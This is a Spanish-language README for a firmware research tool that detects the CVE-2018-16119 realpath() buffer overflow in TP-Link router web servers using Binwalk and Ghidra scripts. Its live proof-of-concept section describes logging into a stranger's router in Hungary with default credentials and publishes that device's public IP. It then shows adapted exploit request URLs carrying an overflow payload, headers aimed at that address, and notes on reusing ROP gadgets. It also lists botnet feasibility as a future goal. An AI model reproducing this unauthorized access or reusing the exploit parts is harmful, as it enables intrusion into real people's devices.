Escalando vulnerabilidades de firmware en TP-Link

Resumen

Esta herramienta de investigación automatiza el descubrimiento de patrones de vulnerabilidad en múltiples versiones de firmware de TP-Link. Originalmente diseñada para identificar y escalar el impacto de CVE-2018-16119 (ejecución remota de código autenticada), este framework se puede adaptar para detectar distintos patrones de vulnerabilidad en firmware IoT de otros fabricantes.

Características principales

• Extracción automatizada de binarios: extrae binarios httpd de imágenes de firmware usando Binwalk
• Reconocimiento de patrones: usa scripts personalizados de Ghidra para identificar patrones de vulnerabilidad
• Análisis escalable: procesa múltiples versiones de firmware de forma simultánea
• Reportes visuales: genera reportes en PDF con call graphs de funciones
• Evaluación de impacto entre dispositivos: determina la propagación de la vulnerabilidad entre familias de dispositivos

Arquitectura

flowchart LR
    A["Colección de<br/>firmware"] --> B["httpd_extractor.py"]
    B --> C["Carpeta<br/>HTTPD_Binaries"]
    C --> D["Scripts de Ghidra<br/>y patrones"]
    D --> E["analyzer.py"]
    E --> F["Reportes PDF de<br/>Analysis_Results"]

Inicio rápido

Requisitos previos

• Ghidra (versión 9.0.4 o superior)
• Python 3.x
• Binwalk
• Imágenes de firmware de TP-Link (archivos .bin)

Instalación

1. Cloná el repositorio:

git clone https://github.com/hdbreaker/Escalating-TPLinkFirmware-Vulnerabilities
cd Escalating-TPLinkFirmware-Vulnerabilities

2. Instalá las dependencias:

pip install -r requirements.txt

3. Colocá los archivos de firmware en el directorio Firmwares/

Uso

1. Extraer binarios HTTPD de las imágenes de firmware:

python httpd_extractor.py

2. Analizar los binarios en busca de patrones de vulnerabilidad:

python analyzer.py

3. Revisar los resultados en la carpeta Analysis_Results/

La vulnerabilidad: CVE-2018-16119

Detalles técnicos

La vulnerabilidad existe en la funcionalidad NAS del binario HTTPD de TP-Link, específicamente en el manejo que hace la función chkAbsPath de parámetros controlados por el usuario.

Figura 1: Flujo de identificación del patrón de vulnerabilidad

Flujo de la vulnerabilidad

1. Recepción del parámetro: se recibe el parámetro controlado por el usuario shareEntire

   Figura 2: Extracción del parámetro del usuario en el código vulnerable

2. Asignación del buffer: la función chkAbsPath crea un buffer fijo acStack272 (260 bytes)

3. Operación insegura: el parámetro se pasa a realpath() sin validación de longitud

   Figura 3: Llamada insegura a realpath() que lleva a un buffer overflow

Causa raíz

La documentación de la función realpath() no especifica ningún control sobre el tamaño del valor de retorno. Combinado con la falta de validación de entrada del parámetro shareEntire, esto crea una condición de buffer overflow cuando la entrada supera el tamaño del buffer de 260 bytes.

Dispositivos afectados

Mediante análisis automatizado, se confirmó que los siguientes dispositivos TP-Link son vulnerables:

Exposición a internet

Usando Zoomeye.org, se identificaron aproximadamente 106.966 dispositivos vulnerables expuestos a internet, lo que resalta la naturaleza crítica de esta vulnerabilidad.

Metodología de investigación

Estrategia de detección de patrones

La vulnerabilidad se puede identificar detectando este patrón específico:

IF (function chkAbsPath exists) AND
   (contains call to realpath()) AND
   (no input length validation)
THEN vulnerability_probability = 90%

Este enfoque basado en patrones aprovecha el hecho de que los fabricantes suelen reutilizar código de firmware entre familias de dispositivos, lo que hace muy probable la propagación de la vulnerabilidad.

Prueba de concepto en vivo

Descubrimiento del objetivo

Durante la investigación, se descubrió un dispositivo vulnerable en vivo en Hungría:

• IP: http://178.164.131.28:100
• Credenciales: admin:admin (por defecto)
• Modelo: TP-Link Archer C7 v2

Figura 4: Acceso con credenciales por defecto en un router húngaro

Confirmación de la vulnerabilidad

Se confirmó que la versión de firmware vulnerable coincidía con los patrones analizados:

Figura 5: Confirmación de la vulnerabilidad en el firmware del Archer C7v2

Identificación del parámetro

El parámetro vulnerable fue identificado como shareFolderName:

Figura 6: Identificación del parámetro vulnerable (línea 254 → línea 274)

Funcionalidad NAS

Figura 7: Funcionalidad NAS habilitada en el dispositivo objetivo

Figura 8: Creando una carpeta compartida para disparar la vulnerabilidad

Análisis del request HTTP

Figura 9: Request HTTP que contiene el parámetro vulnerable

Adaptación del exploit

Compatibilidad de librerías

Ambos dispositivos objetivo comparten la misma librería libuClibc-0.9.30.so, lo que permite reutilizar gadgets ROP entre dispositivos, simplificando mucho el desarrollo del exploit.

Modificación de la URL

URL original del exploit (WR1043ND):

bof_url = base_url+"/"+session_id+"/userRpm/MediaServerFoldersCfgRpm.htm?displayName=bof&shareEntire="+payload+"&no_use_para_just_fix_ie_sub_bug=&Save=Save"

URL modificada (Archer C7v2):

bof_url = base_url+"/"+session_id+"/userRpm/NasFolderSharingRpm.htm?displayName=bof&mediaShare=on&shareFolderName="+payload+"&Save=Save&selPage=0&Page=1&subpage=2&no_use_para_just_fix_ie_sub_bug="

Adaptación de headers

Headers originales:

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://192.168.0.1/",
    "Cookie": "Authorization="+cookie_auth_string,
    "Authorization": "Basic "+basic_string,
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1"
}

Headers adaptados:

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
    "Accept-Language": "en-US,en;q=0.9,es;q=0.8",
    "Referer": "http://178.164.131.28:100/",
    "Accept-Encoding": "gzip, deflate",
    "Cookie": "Authorization="+cookie_auth_string,
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1"
}

Estructura del proyecto

├── analyzer.py                 # Script principal de análisis
├── httpd_extractor.py         # Utilidad de extracción de binarios
├── Firmwares/                 # Imágenes de firmware de entrada
├── HTTPD_Binaries/           # Binarios HTTPD extraídos
├── Ghidra_Scripts/           # Scripts personalizados de detección de vulnerabilidades
│   └── FindTPLinkRealPathOverflow.py
├── Analysis_Results/         # Reportes PDF generados
├── exploit/                  # Pruebas de concepto de exploits
└── Resources/               # Recursos de documentación
    ├── github_imgs/         # Diagramas técnicos
    └── InternetVictimHungary_PoC/  # Evidencia de la PoC en vivo

Futuras líneas de investigación

Objetivos

1. Descubrimiento de RCE no autenticado: encontrar vulnerabilidades de ejecución remota de código sin ningún tipo de autenticación
2. Análisis entre fabricantes: extender la metodología a otros fabricantes de IoT
3. Explotación automatizada: desarrollar generación autónoma de exploits
4. Evaluación de potencial de botnet: evaluar la viabilidad de un compromiso a gran escala

Escenarios de impacto

• Infiltración en redes domésticas: pivotear desde internet hacia redes internas
• Compromiso de redes corporativas: movimiento lateral a través de infraestructura empresarial
• Creación de botnets IoT: compromiso masivo de dispositivos para ataques distribuidos

Divulgación responsable

Esta investigación sigue prácticas de divulgación responsable:

• ✅ Vulnerabilidad reportada a TP-Link
• ✅ CVE asignado: CVE-2018-16119
• ✅ Parches publicados por el fabricante
• ✅ Investigación publicada con fines defensivos

Detalles técnicos de implementación

Script de Ghidra: FindTPLinkRealPathOverflow.py

La detección automatizada se basa en este reconocimiento de patrones:

def detect_vulnerability_pattern(binary_path):
    """
    Detect CVE-2018-16119 pattern in HTTPD binary
    """
    vulnerability_score = 0

    # Check for chkAbsPath function existence
    if has_function(binary_path, "chkAbsPath"):
        vulnerability_score += 30

    # Check for realpath() call
    if has_realpath_call(binary_path):
        vulnerability_score += 40

    # Check for lack of input validation
    if not has_input_validation(binary_path):
        vulnerability_score += 30

    return vulnerability_score >= 90  # 90% confidence threshold

Proceso de extracción de binarios

# Flujo de httpd_extractor.py
1. Extraer el firmware usando Binwalk
2. Ubicar el binario httpd en el filesystem
3. Copiarlo a HTTPD_Binaries/ para su análisis
4. Generar metadata para el seguimiento

Salida del análisis

El framework genera:

• Reportes PDF con detalles de la vulnerabilidad
• Call graphs de funciones mostrando el flujo del código
• Tablas de referencias cruzadas de los dispositivos afectados
• Guías de adaptación del exploit para pruebas de seguridad

Recursos adicionales

• Detalles del CVE: CVE-2018-16119
• Repositorio en GitHub: Escalating-TPLinkFirmware-Vulnerabilities
• Documentación de Ghidra: Documentación oficial de Ghidra

Descargo de responsabilidad legal

Esta investigación se brinda solo con fines educativos y de seguridad defensiva. Los usuarios son responsables de asegurar el cumplimiento de las leyes y regulaciones aplicables. Los autores no asumen responsabilidad alguna por el uso indebido de esta información.

Investigación de: el equipo de Volt AI
Repositorio: GitHub - Escalating TP-Link Firmware Vulnerabilities

Este trabajo demuestra la importancia crítica de las prácticas de codificación segura en el desarrollo de firmware IoT y la necesidad de pruebas de seguridad exhaustivas entre familias de dispositivos.